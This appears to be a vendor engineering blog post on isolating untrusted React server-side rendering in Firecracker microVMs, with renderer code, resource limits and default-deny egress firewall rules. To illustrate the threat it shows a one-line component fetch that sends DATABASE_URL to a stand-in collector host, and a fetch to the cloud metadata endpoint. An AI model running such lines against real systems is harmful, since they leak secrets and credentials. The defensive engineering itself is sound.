all posts

Server-Side Rendering Someone Else's React Component

Ajay Kumar··11 min read

There is a feature that shows up in page builders, headless CMSs, email-template studios, embeddable widget marketplaces and “bring your own React component” dashboards, and it is always sold the same way: customers can write their own components, and we render them for them. It is a genuinely good feature. It is also, in implementation, a single line that reads `const html = renderToString(createElement(Component, props))`, executed inside your API process, where your environment variables live.

That line is not a rendering call. It is `eval()` with better marketing. The component is a JavaScript module graph; evaluating it runs its top-level code, its imports' top-level code and then its render body, with the full ambient authority of the process that imported it. Your service-account token is in `process.env`, your Postgres pool is a live socket in the same heap, and your event loop is now a resource the component holds a thread of.

I'm Ajay; I build PandaStack, which runs code in Firecracker microVMs. This is about a full JS module graph with `import` statements and a `node_modules` tree — not declarative templates with a restricted expression language, which is an easier problem I wrote about separately. It covers the failure modes that are not security and still wake you up, why the in-process sandboxes do not cover this, what the architecture looks like when the boundary is a machine, and the latency, honestly, because a 179 ms create is fine for some render paths and wrong for others.

renderToString() is execution, and the import is worse

Start with what actually happens when you load a tenant's component. There are three distinct execution points, and most threat models only notice the third.

  1. Module evaluation. The `import` runs every top-level statement in that file, and transitively in everything it imports. No render has happened yet. A component whose first line is `await fetch("https://collector.example/" + process.env.DATABASE_URL)` has already won.
  2. Component invocation. React calls the function. Anything in the body runs: synchronously, on your thread, with no yield point you control.
  3. Everything it imported. A styling library drags in its whole dependency tree, chosen by your tenant. You are not auditing one file; you are auditing a lockfile written by someone whose incentive was “ship the banner before the demo”.

The capability list inside that render is your Node process's: the filesystem, the network, child processes, the environment, and anything already open in the heap. Nowhere does Node ask whether a module should be allowed any of it. Module scope is not a permission scope. It never was.

A component render is a capability grant, and the default grant is “everything this process can do”. Any design starting from “we will review the components” makes the review the security control — performed by a human, on a Friday afternoon, against a diff that imports fourteen packages.

The failures that are not security and still page you

Security is the reason you will eventually be forced to fix this. Availability is the reason you will fix it sooner, because availability failures arrive first and they arrive from customers who were not even trying. Four shapes, in roughly the order I have seen them happen.

An infinite loop, and the thread you are never getting back

`renderToString` is synchronous. It walks the element tree and calls component functions, and every one of those calls runs to completion on the calling thread. A `while (true) {}` in a component body — or, far more common, a `for` loop whose exit condition depends on a prop that arrived as a string — does not time out. It does not get interrupted. It occupies the thread, and because JavaScript is cooperatively scheduled, nothing else on that thread ever runs again: not your timers, not your `AbortSignal` handler, not your health check, not the HTTP responses for the other requests that were mid-flight.

Streaming SSR does not save you. `renderToPipeableStream` gives you an `abort()`, which genuinely helps with a component awaiting a slow network call inside a Suspense boundary. It cannot preempt a spinning component body, because abort is checked between units of work and a spinning function never ends its unit. The thread is the thread.

Operationally it looks like an infrastructure problem: a component pins a thread, the pod fails its readiness probe, the orchestrator restarts it, the next request routed there is the same render, and the restart loop is now your architecture. I have watched a team spend a day on the load balancer before anyone read the component.

Unbounded recursion and the three-gigabyte string

Recursion is the kind failure. A component that renders itself — and a tree assembled from a database can absolutely contain a cycle — blows V8's stack and throws `RangeError: Maximum call stack size exceeded`, which a `try` around your render contains. Resist the temptation to raise `--stack-size` to make a deep tree work: push V8's limit past the OS thread stack and you convert a catchable `RangeError` into a segfault, which is a much worse day.

Memory is the unkind one. A component that builds strings in a loop, or renders a table from a 2-million-row array a prop told it about, grows the heap until V8 aborts the process. Not throws — aborts. `JavaScript heap out of memory` is fatal and takes every other request in that process with it. And long before the limit, the garbage collector is burning enough CPU that the process is effectively down anyway.

A component that fetches your metadata endpoint

The last is a security failure wearing an availability costume. A render process sits on a network with interesting neighbours: the metadata service on a link-local address, internal DNS, the admin API that trusts anything inside the perimeter, your database on a private subnet. A component is code, and code can call `fetch`. Whether a naive `fetch("http://169.254.169.254/...")` returns credentials depends on your cloud and its metadata-service version — and the right response to that sentence is not to look up the details, it is to make the request impossible so the details stop mattering. Which is the shape of all four: ambient authority the renderer does not need, with no ceiling it cannot negotiate away. Fixing the bugs is whack-a-mole. Fixing the authority is a boundary.

Why the in-process sandboxes don't cover this

The reflex is `node:vm`, named after a virtual machine and emphatically not one — the Node documentation says directly that it is not a security mechanism and should not be used for untrusted code. `isolated-vm` is a genuine step up: a separate V8 isolate with its own heap, a memory limit, and CPU timeouts that fire. It is the right tool for an untrusted expression over values you hand it, and the wrong tool here, because a separate isolate has no Node API at all — no `require`, no `fs`, no `node_modules` resolution. `import { clsx } from "clsx"` cannot run until you build a host bridge that loads modules across the boundary, at which point every function on it is attack surface you wrote, and you are reimplementing a module loader as a security monitor. It is a sandbox for values; an SSR component is a module graph. (The escape shapes and the vm2 story are a whole post of their own, which exists — I am leaning on it rather than repeating it.)

Worker threads are a concurrency primitive doing a security job. A worker gets its own isolate, so `worker.terminate()` can stop a spinning render — a real win. But it has full `require`, full filesystem and network access, and a copy of `process.env` unless you pass one, so authority is unchanged; and it shares the process, so a native segfault or an `abort()` takes your API with it. The crash semantics are the tell. None of the three gives you all four of a hard wall clock, a hard memory ceiling, a restricted network, and a crash that cannot reach your API. A microVM gives you all four from outside, where the tenant's code has no vote.

Six places to put the render

Isolation options for server-rendering untrusted components. The only numbers here are PandaStack's own; everything else is a shape.
Where the render runsArbitrary `require` / module graphHard CPU ceiling enforceableDoes a crash take your APICold startOperational complexity
Same process, just `import` itYes — that is the entire mechanismNo. A synchronous render cannot be interrupted from the thread it is running onYes, plus every request in flightZeroZero, right up until the first incident
`node:vm`Not natively, and the boundary leaks: objects crossing it carry prototype chains back to your realmPartly — the `timeout` option covers the script you run, not a function the host calls back into laterYes — same isolate, same heap, same processMicrosecondsLow, and misleadingly so
`isolated-vm`No — a separate isolate has no Node API, so a module graph needs a host bridge you write and ownYes, for the isolate's own CPU and heapYes — it is a native addon in your process; its crash is your crashMillisecondsHigh: every host function you expose is new attack surface
`node:worker_threads`Yes — full `require`, full fs, and a copy of your env unless you pass oneMostly — `terminate()` can stop a spinning worker, since each has its own isolateNot for a JS throw; yes for a native crash, an abort, or process-level memory pressureMilliseconds, plus loading the module graph per workerMedium — a concurrency primitive doing a security job
Container per renderYesYes — cgroup `cpu.max`, enforced by the kernelNo, your API survivesLow to moderateModerate, and one shared kernel underneath every tenant
MicroVM per renderYes, and it stops matteringYes — a vCPU budget plus a wall clock the guest cannot renegotiateNo — separate kernel, separate page tables, no shared loaderSnapshot restore: p50 179 ms, p99 203 ms. Around 3 s for the very first cold boot of a templateHighest of the six, which is why it belongs behind a platform rather than in your repo

To be fair to the container row: it is a real answer and often the right one — a container per render with a cgroup limit and a dropped capability set gets you most of the way. The argument for a VM is multi-tenancy plus arbitrary code, because a shared kernel means one privilege-escalation bug reaches every other tenant on that box, and a container is ultimately a polite request to that kernel.

The contract: source in, one JSON document out

The discipline that makes this work is narrowing the interface until the renderer is boring. The sandbox receives component source and props, and returns exactly one JSON document: HTML, or a typed error. Nothing else crosses — no shared cache, no database handle, no credentials, no callbacks into your service.

A microVM makes the ceilings real, because something outside the guest enforces them. Guest RAM is baked into the template snapshot — Firecracker cannot change guest memory or vCPU count at restore, so a `memory_mb` on a create is silently corrected to the baked value, which is a wall the component cannot ask to move. The wall clock is a `timeout` in the guest shell plus a TTL that a platform-side reaper enforces, so a crashed orchestrator cannot leak a render. And each sandbox gets its own netns, veth pair and tap from 16,384 pre-allocated /30 subnets per host, so the renderer's network is a separate thing rather than a policy.

import json
from pandastack import Sandbox

# One render, one microVM. The template is built ONCE, with Node, the renderer
# entrypoint and the component runtime (react, react-dom/server, esbuild)
# already installed:
#
#   pandastack template build -f templates/ssr-renderer/Dockerfile \
#     -n ssr-renderer --memory-mb 4096
#
# --memory-mb is baked into the SNAPSHOT. Firecracker cannot change guest RAM
# or vCPU count at snapshot restore, so passing memory_mb on a create is not an
# error -- it is silently corrected to the baked value, which is worse than an
# error. That baked number is the outer memory wall for every render, and it is
# enforced by the VMM. The component cannot negotiate with it.
COMPONENT = open("fixtures/HeroBanner.jsx").read()
PROPS = {"title": "Spring sale", "cta": "Shop now"}

with Sandbox.create(
    template="ssr-renderer",
    ttl_seconds=120,                 # backstop, not the timeout -- see below
    metadata={"tenant": "acme", "job": "render-hero-banner"},
) as sbx:
    # Write the tenant's source in. filesystem.write takes str or bytes and
    # writes ONE file; there is no directory copy, so a multi-file component
    # goes in as a tar you expand in the guest.
    sbx.filesystem.write("/work/src/Component.jsx", COMPONENT)
    sbx.filesystem.write("/work/props.json", json.dumps(PROPS))

    # The hard limits live in the SHELL, inside the guest. This is the part
    # people get wrong: timeout_seconds on exec is a CLIENT deadline. The
    # server does not enforce it. If your HTTP client gives up, the render
    # keeps running and keeps costing you. `timeout` is the real wall clock.
    #
    #   -s TERM -k 2s : ask politely, then SIGKILL two seconds later. A
    #     component spinning in a synchronous loop will never run your SIGTERM
    #     handler, because the event loop never gets the thread back. The -k is
    #     the part that actually ends it.
    #   exit 124 = timed out (coreutils). 137 = it needed the SIGKILL.
    #
    # Note what is NOT here. `ulimit -v`: V8 reserves a large virtual address
    # space at startup, so an address-space rlimit tends to kill Node before it
    # parses a line of tenant code. Cap the HEAP with --max-old-space-size and
    # let the VM's baked RAM be the outer wall. And no --stack-size: pushing
    # V8's stack limit past the OS thread stack turns a catchable RangeError
    # from runaway recursion into a segfault.
    cmd = (
        "cd /work && "
        "timeout -s TERM -k 2s 10s "
        "  setpriv --reuid=renderer --regid=renderer --clear-groups "
        "  node --max-old-space-size=1024 /opt/renderer/render.mjs "
        "       src/Component.jsx props.json "
        "  > /work/out.json 2> /work/err.log"
    )
    code = sbx.exec(cmd, timeout_seconds=30).exit_code

    # Every branch returns something TYPED to the tenant. None of them is a 500
    # from your API, because none of them is your bug.
    if code in (0, 3):
        # 0 = html, 3 = the renderer caught the component's own exception and
        # serialised it. Both are a well-formed result document.
        result = json.loads(sbx.filesystem.read("/work/out.json"))
    elif code in (124, 137):
        result = {"ok": False, "kind": "timeout",
                  "message": "Render exceeded the 10s budget."}
    elif code == 134:
        # SIGABRT, which in practice is V8's fatal "JavaScript heap out of
        # memory". Not catchable in-process -- which is exactly why the process
        # is disposable.
        result = {"ok": False, "kind": "out_of_memory",
                  "message": "Render exceeded the 1 GiB heap budget."}
    else:
        # Unknown: keep stderr, but treat it as tenant-facing diagnostics, not
        # as an incident. Truncate it; a component can write a lot of stderr.
        err = sbx.filesystem.read("/work/err.log").decode("utf-8", "replace")
        result = {"ok": False, "kind": "crashed", "message": err[-4000:]}

    print(result["kind"] if not result["ok"] else result["html"][:80])

# The context manager kills the sandbox on the success path and the exception
# path alike. The TTL matters only if this process dies holding the only
# reference: the platform-side reaper collects it regardless, so a crashed
# orchestrator cannot leak a VM.

The renderer itself should be the least interesting file in your codebase: read source, render, write one JSON document, never throw out of the top level. Every line that looks like a feature is a defence.

// /opt/renderer/render.mjs -- baked into the template, never shipped per render.
// Deliberately boring. The only job is: produce exactly one JSON document on
// stdout, whatever the component does.
import { readFileSync, writeFileSync } from "node:fs";
import { createElement } from "react";
import { renderToString } from "react-dom/server";
import { transform } from "esbuild";

const [srcPath, propsPath] = process.argv.slice(2);

function emit(doc) {
  process.stdout.write(JSON.stringify(doc));
  // process.exit, not a natural exit. A component that scheduled a timer or
  // left a socket open would otherwise hold the event loop -- and the sandbox,
  // and your bill -- open long past the point where we have the HTML.
  // Exit 3 is "the component threw and we serialised it", which the caller
  // treats as a result, not a failure.
  process.exit(doc.ok ? 0 : 3);
}

// ---- freeze the non-deterministic surface BEFORE loading the component ----
// Any of these in a render body gives you different HTML on every call: a new
// cache entry each time, a hydration mismatch in the browser, and a diff that
// is pure noise. The seed and the clock are INJECTED by the caller, which is
// also what makes two renders of the same component byte-identical.
const SEED = Number(process.env.RENDER_SEED ?? 0) >>> 0 || 0x9e3779b9;
const NOW = Number(process.env.RENDER_NOW ?? 0);

const RealDate = Date;
globalThis.Date = new Proxy(RealDate, {
  construct: (T, args) => (args.length ? new T(...args) : new T(NOW)),
});
globalThis.Date.now = () => NOW;
// A tiny deterministic PRNG. Note what this is NOT: a security control. A
// component can trivially get real randomness from node:crypto. The point is
// reproducible output for well-behaved components, not confinement.
let s = SEED;
Math.random = () => (((s = (s * 1664525 + 1013904223) >>> 0) >>> 8) / 0x1000000);
// TZ must be set in the process ENVIRONMENT (TZ=UTC in the exec line), not
// here -- by the time this file runs, locale-sensitive formatting may already
// have been resolved. Pin the locale explicitly in your component guidelines.

// ---- scrub the environment -----------------------------------------------
// This template should hold no credentials at all. Scrub anyway: the day
// someone adds a build-time secret to the renderer image is a day you will not
// be in the room for.
const KEEP = new Set(["PATH", "HOME", "NODE_ENV", "TZ", "RENDER_SEED", "RENDER_NOW"]);
for (const k of Object.keys(process.env)) if (!KEEP.has(k)) delete process.env[k];

try {
  const jsx = readFileSync(srcPath, "utf8");
  const { code } = await transform(jsx, {
    loader: "jsx", format: "esm", jsx: "automatic", target: "node22",
  });

  // Write the transpiled module to disk and import it by file URL. The
  // tempting one-liner -- import() of a data: URL -- does not work here: a
  // data: URL module cannot resolve bare specifiers like "react", because
  // data: is not a special scheme in the ESM resolver. It fails the moment the
  // component imports anything, which is immediately.
  const modPath = "/work/src/Component.mjs";
  writeFileSync(modPath, code);
  const { default: Component } = await import(`file://${modPath}`);

  const props = JSON.parse(readFileSync(propsPath, "utf8"));
  emit({ ok: true, html: renderToString(createElement(Component, props)) });
} catch (err) {
  // This is the tenant's error and they are entitled to it -- it is their
  // component. Strip OUR frames and OUR absolute paths out of the stack first:
  // those describe your infrastructure, not their bug.
  const stack = String(err?.stack ?? err)
    .split("\n")
    .filter((line) => !line.includes("/opt/renderer/"))
    .join("\n")
    .replaceAll("/work/src/", "");
  emit({
    ok: false,
    kind: "component_error",
    name: err?.name ?? "Error",
    message: err?.message ?? String(err),
    stack,
  });
}

Be honest about the latency budget

This is where a lot of “sandbox your renders” advice quietly skips a step, so: a create on PandaStack restores a baked Firecracker snapshot rather than booting one, at p50 179 ms and p99 203 ms, with the `/snapshot/load` step itself in the 49–80 ms range. The first spawn of a template, before a snapshot exists, pays a cold boot of around 3 seconds and then bakes one.

179 ms is excellent for a VM and it is not a rounding error on a request path with a 50 ms budget. Pretending otherwise is how you end up with a beautiful isolation story and a p99 your customers hate. So match the placement to the call site, not to the company.

  • Render at publish time and cache the HTML. This is the unconditionally correct answer and it is available more often than people assume. A page builder knows when the author hit Save; render then, store the bytes, serve them from your cache or CDN. Nobody is waiting on the 179 ms, and as a bonus the render becomes a build artefact you can diff, attribute and roll back.
  • Keep one sandbox warm per editing session. An author iterating on a component renders it forty times in five minutes. Pay the create once when they open the editor, render over `exec` after that, and set a TTL so an abandoned browser tab is not a standing bill. This is the shape that makes the editing experience feel instant.
  • Fork a warmed parent for a burst, and know which fork you are calling. `fork()` clones the parent's disk and cold-boots the child, so it arrives with that tenant's `node_modules` installed but a fresh kernel — nearer the ~3 s cold-boot shape. `fork_tree(count=N)` snapshots the parent once and restores N children from it, so each child inherits the parent's memory as well as its disk: same-host restores land in 400–750 ms, cross-host in 1.2–3.5 seconds, and N is capped at 16 per call.
  • On a true cold request path with a tight budget: do not render untrusted components there at all. Serve the cached HTML and treat a cache miss as a reason to render asynchronously and show the previous version, not as a reason to run a stranger's code inside your request handler.
A fork is slower than a create, and that surprises people. A 179 ms create restores the template snapshot: a cold renderer with no tenant dependencies. A 400–750 ms same-host `fork_tree` child restores a parent you warmed, so the install is done and the module graph is already in memory. You are not buying speed, you are buying a much better starting state — and plain `fork()` buys you even less of it, since it clones the disk and then cold-boots. Measure the end-to-end render, not the create.
from pandastack import Sandbox

# (b) An EDITING SESSION. One sandbox per author, reused across revisions. The
# create cost amortises over the forty renders they are about to do.
session = Sandbox.create(
    template="ssr-renderer",
    ttl_seconds=900,                      # abandoned tabs are not free
    metadata={"tenant": "acme", "kind": "editor-session"},
)
try:
    for revision in load_revisions():
        session.filesystem.write("/work/src/Component.jsx", revision.source)
        # Fresh seed and clock per render, so the HTML is reproducible and the
        # tenant can diff revision N against N-1 without timestamp churn.
        session.exec(
            f"cd /work && TZ=UTC RENDER_SEED={revision.id} RENDER_NOW={revision.saved_at_ms} "
            "timeout -s TERM -k 2s 10s setpriv --reuid=renderer --regid=renderer "
            "--clear-groups node --max-old-space-size=1024 "
            "/opt/renderer/render.mjs src/Component.jsx props.json > /work/out.json",
            timeout_seconds=30,
        )
        publish(session.filesystem.read("/work/out.json"))
finally:
    # kill() on the success path too. An editor session nobody closed is a
    # bill and, if you exposed a preview port, a live credential.
    session.kill()

# (c) A BURST over one tenant's component set. Warm a parent, fan out from it.
# Mind which fork you call. fork() clones the parent's DISK and then cold-boots
# the child -- warm node_modules, fresh kernel and fresh entropy. fork_tree()
# snapshots the parent once and restores N children from it, so they inherit
# the parent's MEMORY too. Capped at 16 children per call.
warm = Sandbox.create(template="ssr-renderer", ttl_seconds=1800)
warm.exec("cd /work && npm ci --omit=dev --ignore-scripts", timeout_seconds=600,
          check=True)
# --ignore-scripts is not optional here. A tenant's lockfile can carry a
# postinstall hook, and that hook runs as part of the install, before any render
# you were planning to sandbox.

children = warm.fork_tree(count=8, metadata={"tenant": "acme"})
for i, child in enumerate(children):
    # Because fork_tree children inherit MEMORY, they clone every seeded PRNG
    # in the guest: the kernel's CSPRNG state, V8's Math.random seed, anything
    # that read /dev/urandom once at startup. Eight children, one stream of
    # "random" numbers -- which for a renderer surfaces as identical nonces,
    # identical cache-busting query strings and identical generated ids across
    # siblings. The clock is cloned too, so it is stale by however long the
    # parent sat frozen. (A plain fork() cold-boots, so it does not inherit
    # any of this -- and also does not inherit the warm module graph.)
    #
    # Do not try to fix this from inside the guest. INJECT the variance from
    # the control plane, which is the same mechanism that makes a render
    # reproducible -- one lever, two problems.
    child.exec(
        f"printf 'RENDER_SEED=%s\\nRENDER_NOW=%s\\n' {1_000 + i} $(date +%s)000 "
        "> /work/render.env",
        check=True,
    )

Determinism, hydration mismatch, and the cache key

There is a second-order problem with untrusted SSR that has nothing to do with security and everything to do with whether the feature works: a render that is not deterministic is a render you cannot cache and a page that does not hydrate cleanly.

The mechanism is familiar to anyone who has shipped SSR, and it gets worse when the component is not yours. The server renders HTML at one moment, with one timezone, one locale and one `Math.random()` sequence. The browser then hydrates, re-rendering the same component with a different clock, possibly a different locale and definitely a different random sequence. Where the output differs, React logs a mismatch and discards the server HTML for that subtree in favour of a client render — which is to say, your server-side rendering quietly stopped happening for the part of the page the customer cared about, and the only evidence is a console warning on their machine.

You cannot code-review this out of a tenant's component. `new Date().toLocaleString()` in a component body is an entirely reasonable thing for someone to write who has never heard of hydration. So pin the environment instead: UTC in the guest, an explicit locale, a clock injected per render, a seeded PRNG, and — this is the part that pays for itself — a hash of the rendered HTML stored next to it.

That hash is the lever. Render the same component twice with the same injected seed and clock. If the hashes differ, the component is non-deterministic, and you can tell the author that in their editor, at authoring time, with the actual offending behaviour named — rather than finding out from a support ticket about a flickering banner three weeks later. A double render costs you 179 ms in a sandbox you were going to create anyway, and it turns an unfixable class of production weirdness into a lint rule.

fork_tree() children are not independently random

One caveat bites specifically when you fan out, and it depends on which fork you called — a distinction worth getting right, because the two PandaStack operations have different semantics. `fork()` clones the parent's disk and then cold-boots the child: fresh kernel, fresh memory, fresh entropy, so there is nothing to reseed. `fork_tree(count=N)` snapshots the parent and restores N children from that snapshot, so each child inherits the parent's memory — and memory includes entropy state: the kernel's CSPRNG, V8's `Math.random` seed, any library that read `/dev/urandom` once at startup and kept the result. Sixteen children off one snapshot are sixteen guests that agree on what time it is and generate the same “random” values in the same order.

For a renderer that means colliding generated element ids, colliding nonces, colliding cache-busting query strings, and colliding anything you were using to tell two outputs apart. The clock is also stale by however long the parent sat frozen, which shows up as expired-certificate errors on outbound TLS and looks exactly like a network problem. Re-seed and re-sync on restore — or better, inject the seed and the timestamp per render from outside, so there is nothing in the guest to get wrong on either fork path.

Egress: the image CDN and nothing else

A renderer's legitimate network needs are almost nil: an image to measure, a font, maybe a remote asset manifest. It has no business reaching your database, your internal APIs, your metadata endpoint, or anything in your private address space. So: default-deny with an allowlist, resolved at bake time rather than left as a hostname for someone else's DNS to answer.

Be clear about who owns that rule, because this is where people assume a platform feature that is not there. On PandaStack, outbound internet from a sandbox is OPEN by default — the host masquerades it and accepts it — with three DROP rules inserted ahead of those accepts: guest-to-guest across the sandbox pool, guest to the 169.254.0.0/16 link-local range, and the well-known Stratum mining ports. That is a denylist of the things that are never legitimate, not a per-sandbox allowlist, and there is no allowlist knob. Default-deny toward your own VPC is a rule you add yourself, in your host firewall or your security groups. Nobody adds it for you.
#!/usr/bin/env bash
# Baked into the ssr-renderer template and run from its init -- NOT at render
# time. Everything here must be true before the first byte of tenant JSX is
# parsed, which is the whole reason it lives in the image.
set -euo pipefail

# 1. A user with nothing. The renderer does not run as root. Not because root
#    in a single-tenant throwaway microVM is catastrophic -- it is one guest
#    kernel and one disposable disk -- but because a defence that costs one
#    line of useradd is free.
id renderer >/dev/null 2>&1 || \
  useradd --system --no-create-home --shell /usr/sbin/nologin renderer
install -d -o renderer -g renderer -m 0755 /work /work/src

# 2. Default-deny egress. A server-rendered component is code, and code
#    fetches things. The two destinations that matter:
#      - the cloud metadata endpoint on 169.254.169.254, one fetch() away.
#        On PandaStack the host already drops the whole 169.254.0.0/16 range
#        for every sandbox, so this line is belt-and-braces -- keep it anyway,
#        because it is the line that still holds if you move this template to
#        a box where nobody did that for you.
#      - your VPC: the database, the admin API that trusts the perimeter, the
#        service that mints signing keys. NOBODY blocks this for you. Outbound
#        internet from a sandbox is open by default; the host's denylist covers
#        cross-tenant traffic, link-local and mining ports, not your subnets.
GW=$(ip route show default | awk '{print $3; exit}')

nft -f - <<NFT
table inet render {
  chain output {
    type filter hook output priority 0; policy drop;

    ct state established,related accept
    oif lo accept

    # DNS to the namespace gateway only. This accept MUST precede the RFC1918
    # drop below -- nftables evaluates in order, and the gateway lives in
    # 10.200.0.0/16.
    ip daddr ${GW} udp dport 53 accept

    # The asset CDN, and nothing else. Addresses pinned at BAKE time: a
    # hostname in a firewall rule is a DNS lookup someone can influence, and
    # nft does not re-resolve it for you regardless. Re-pin on a template
    # rebuild; a CDN changing IP ranges is a thing that happens.
    ip daddr { 198.51.100.7, 198.51.100.8 } tcp dport 443 accept

    # Explicit drops, above the implicit policy, so counters tell you WHO
    # tried. A component reaching for the metadata endpoint is a signal worth
    # alerting on, not just blocking.
    ip daddr 169.254.0.0/16 counter drop
    ip daddr { 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 } counter drop
  }
}
NFT

# 3. Be clear about what this is. These are the GUEST's rules, inside the
#    guest, and a component that somehow reaches root in the guest can flush
#    them. They are defence in depth and a good source of signal, not the thing
#    you bet on. The rule you bet on has to live somewhere the guest cannot
#    reach: the host's FORWARD chain, or your cloud security groups. On
#    PandaStack the host-side rules that already exist are a denylist -- no
#    guest-to-guest traffic, no link-local, no Stratum ports -- and outbound
#    internet is otherwise ACCEPTed. The "and nothing but the CDN" half is
#    yours to add on the host; there is no per-sandbox allowlist to configure.
nft list table inet render >/dev/null && echo "egress: deny by default"

The ordering matters: write the drops before the accepts and DNS breaks, because the gateway sits inside the RFC1918 range you just blackholed. Accepts first, and read the table back after loading it.

A failed render is a typed error, not a 500

The last design decision is the one that changes your on-call rota, and it is a product decision disguised as an error-handling decision: when a tenant's component fails, whose fault is it?

Most implementations answer this by accident. The render throws, the exception propagates through the API handler, the handler returns 500, your error tracker fires, and your 99.9% availability number absorbs a bug in a component the customer shipped on a Friday. You are now paged for other people's typos, which is both demoralising and actively harmful: the real incidents are buried in the noise, and the customer gets no useful feedback at all.

The fix is to make the failure modes a closed set with names, and to return every one of them as data. The exit-code mapping in the first code block is the whole mechanism:

  • `component_error` — the component threw. The renderer caught it, serialised name, message and a stack with your frames and your absolute paths stripped out, and exited 3. Return it to the tenant, in their editor, where they can act on it. It is their code; they are entitled to the stack trace.
  • `timeout` — exit 124, or 137 if it needed the SIGKILL. The component exceeded its wall clock. Tell the tenant the budget it blew and, if you can, the last thing it was doing.
  • `out_of_memory` — exit 134, V8's fatal heap error. Not catchable in-process, which is precisely why the process is disposable.
  • `crashed` — anything else: a segfault in a native dependency, an `abort()`, a module that called `process.exit(7)`. Truncated stderr, returned as diagnostics.
  • `infrastructure` — the sandbox could not be created, the host was unreachable, the exec transport failed. This one, and only this one, is yours. Retry it, count it against your own SLO, and page on it.

Four of those five are tenant-facing results. One is an incident. Separating them is what makes the error rate on your dashboard mean something again, and it is also just a better product: “your component threw TypeError at line 14” is a thing an author can fix, and “500 Internal Server Error” is a support ticket.

If a customer's bug can page you, you did not build a platform. You built a shared process with extra marketing.

What I'd build, in order

  1. A renderer template baked with Node, React, `react-dom/server` and a transpiler installed, with `--memory-mb` chosen deliberately — it is a template-build decision, and `memory_mb` on a create is silently corrected to the baked value.
  2. A one-file renderer entrypoint that writes exactly one JSON document to stdout and never throws out of the top level, scrubbing the environment even though the template holds no secrets today.
  3. Hard limits in the guest shell: `timeout -k`, `--max-old-space-size`, an unprivileged user. `timeout_seconds` on exec is a client deadline the server does not enforce, so the shell `timeout` is the real one.
  4. Default-deny egress with a bake-time-pinned allowlist, link-local and RFC1918 dropped with counters so you can see who tried. Put the authoritative rule where the guest cannot reach it — host firewall or security groups — and do not assume your platform did it: link-local and cross-tenant drops are common, an allowlist toward your own VPC almost never is.
  5. An injected seed and clock per render, UTC in the guest, and a double render that compares hashes so non-determinism is caught in the author's editor instead of in a hydration warning on a customer's laptop.
  6. A typed error contract with five members, four of which are tenant-facing results and exactly one of which is allowed to page you.
  7. Placement per call site: render at publish time and cache; one warm sandbox per editing session; a warmed parent fanned out for a tenant-wide burst; and never an untrusted render inside a tight request path.
  8. If you fan out with `fork_tree`, inject the seed and the timestamp: those children inherit the parent's memory, so its entropy state and stale clock come with it, and sixteen identically-random renderers is a bug that takes a long time to believe. Plain `fork()` cold-boots and does not have this problem.

None of this is novel: a disposable process, a wall clock, a firewall and an error enum, assembled with enough care that a stranger's `while (true)` does not reach your event loop. The only modern part is that the disposable process can be a whole machine with its own kernel and still start in under 200 milliseconds. The reframe is what to keep: you are not building a rendering feature with a security concern attached, you are building a code execution service that happens to emit HTML — and once you name it that way, every decision above stops being paranoid and starts being obvious.

Frequently asked questions

Can't I just use node:vm or isolated-vm to render untrusted React components?

Not for a module graph, which is what an SSR component is. node:vm gives you a fresh global object in the same V8 isolate, in the same process, sharing the same heap — the Node documentation states plainly that it is not a security mechanism and should not be used for untrusted code, and the escape class is structural rather than a bug queue: objects crossing the boundary carry prototype chains that lead back to your realm. It is named after a virtual machine and is not one. isolated-vm is a real improvement — a separate isolate with its own heap, a memory limit, and CPU timeouts that actually fire — and it is the right tool for evaluating an untrusted expression over values you hand it. But a separate isolate has no Node API: no require, no fs, no node_modules resolution. A component that does `import { clsx } from "clsx"` cannot run until you build a host bridge that loads modules across that boundary, and every function on the bridge is attack surface you now own — a module loader doubling as a security monitor, which is a project, not a library call. isolated-vm is also a native addon in your process, so its crash is your crash. If your untrusted input is an expression, reach for isolated-vm. If it is a module graph with imports, the boundary belongs outside the process.

Why isn't a worker thread enough to contain a runaway render?

It gets you one real thing and not the others. A worker has its own V8 isolate, so worker.terminate() can genuinely stop a component spinning in a synchronous loop — a significant improvement over the same-thread case, where a while(true) in a render body takes the event loop and never gives it back regardless of what timers or AbortSignals you set up. What a worker does not change is authority: it has full require, full filesystem and network access, and a copy of process.env unless you explicitly pass an env option, so every capability the main thread had is still reachable. It also still shares the process, so a segfault in a native dependency, an abort(), or process-level memory pressure takes the whole thing down, your API handlers included — and V8's fatal "JavaScript heap out of memory" is not a catchable exception. So a worker moves a subset of availability failures from fatal to recoverable, at the cost of a module graph per worker, and moves nothing on the security side. Using a concurrency primitive as an isolation boundary is a category error that happens to buy one useful property, and teams routinely over-read that property as "we sandboxed it".

Is a 179ms sandbox create fast enough to render on a request path?

Usually no, and the honest answer is to move the render off that path rather than make the create faster. A create on PandaStack restores a baked Firecracker snapshot at p50 179 ms and p99 203 ms, with the /snapshot/load step itself at 49–80 ms; the first spawn of a template, before a snapshot exists, pays about 3 seconds of cold boot and then bakes one. Excellent for a virtual machine, and still most of a tight request budget. The placements that work: render at publish time and cache the HTML, which is unconditionally correct and available more often than people assume — a page builder knows exactly when the author hit Save. Keep one sandbox warm per editing session, so an author iterating forty times in five minutes pays the create once. Fan out from a warmed parent for a tenant-wide burst, minding which call you use: fork() clones the disk and cold-boots, while fork_tree() restores children from a snapshot of the parent and so inherits its memory, at 400–750 ms same-host and 1.2–3.5 seconds cross-host — slower than a create, and worth it because the child starts from a much better state. On a genuine 50 ms request path, serve cached HTML and treat a miss as a reason to render asynchronously behind the previous version — not as a reason to run a stranger's code in your request handler.

How do I keep an untrusted component's render deterministic, and why does it matter?

For two reasons that have nothing to do with security. First, hydration: the server renders with one clock, timezone, locale and Math.random sequence, then the browser re-renders the same component with different ones. Where the output differs, React logs a mismatch and discards the server HTML for that subtree in favour of a client render — so your server-side rendering silently stopped happening for the part of the page the customer cared about, and the only evidence is a console warning on their machine. Second, caching: a render that produces different bytes every time cannot be deduplicated or diffed against its predecessor. You cannot code-review this out of a tenant's component, because new Date().toLocaleString() is a perfectly reasonable thing to write if you have never heard of hydration. Pin the environment instead: UTC in the guest, an explicit locale, a clock injected per render, a seeded PRNG installed before the component loads. Then render twice with the same seed and compare hashes — if they differ the component is non-deterministic, and you can say so in the author's editor instead of learning it from a ticket about a flickering banner. One caveat if you fan out with fork_tree(), whose children inherit the parent's memory: entropy state comes with it, so those children are not independently random and their clock is stale by however long the parent sat frozen. A plain fork() cold-boots and does not have this problem. Inject the seed and timestamp from outside either way.

What should my API return when a customer's component fails to render?

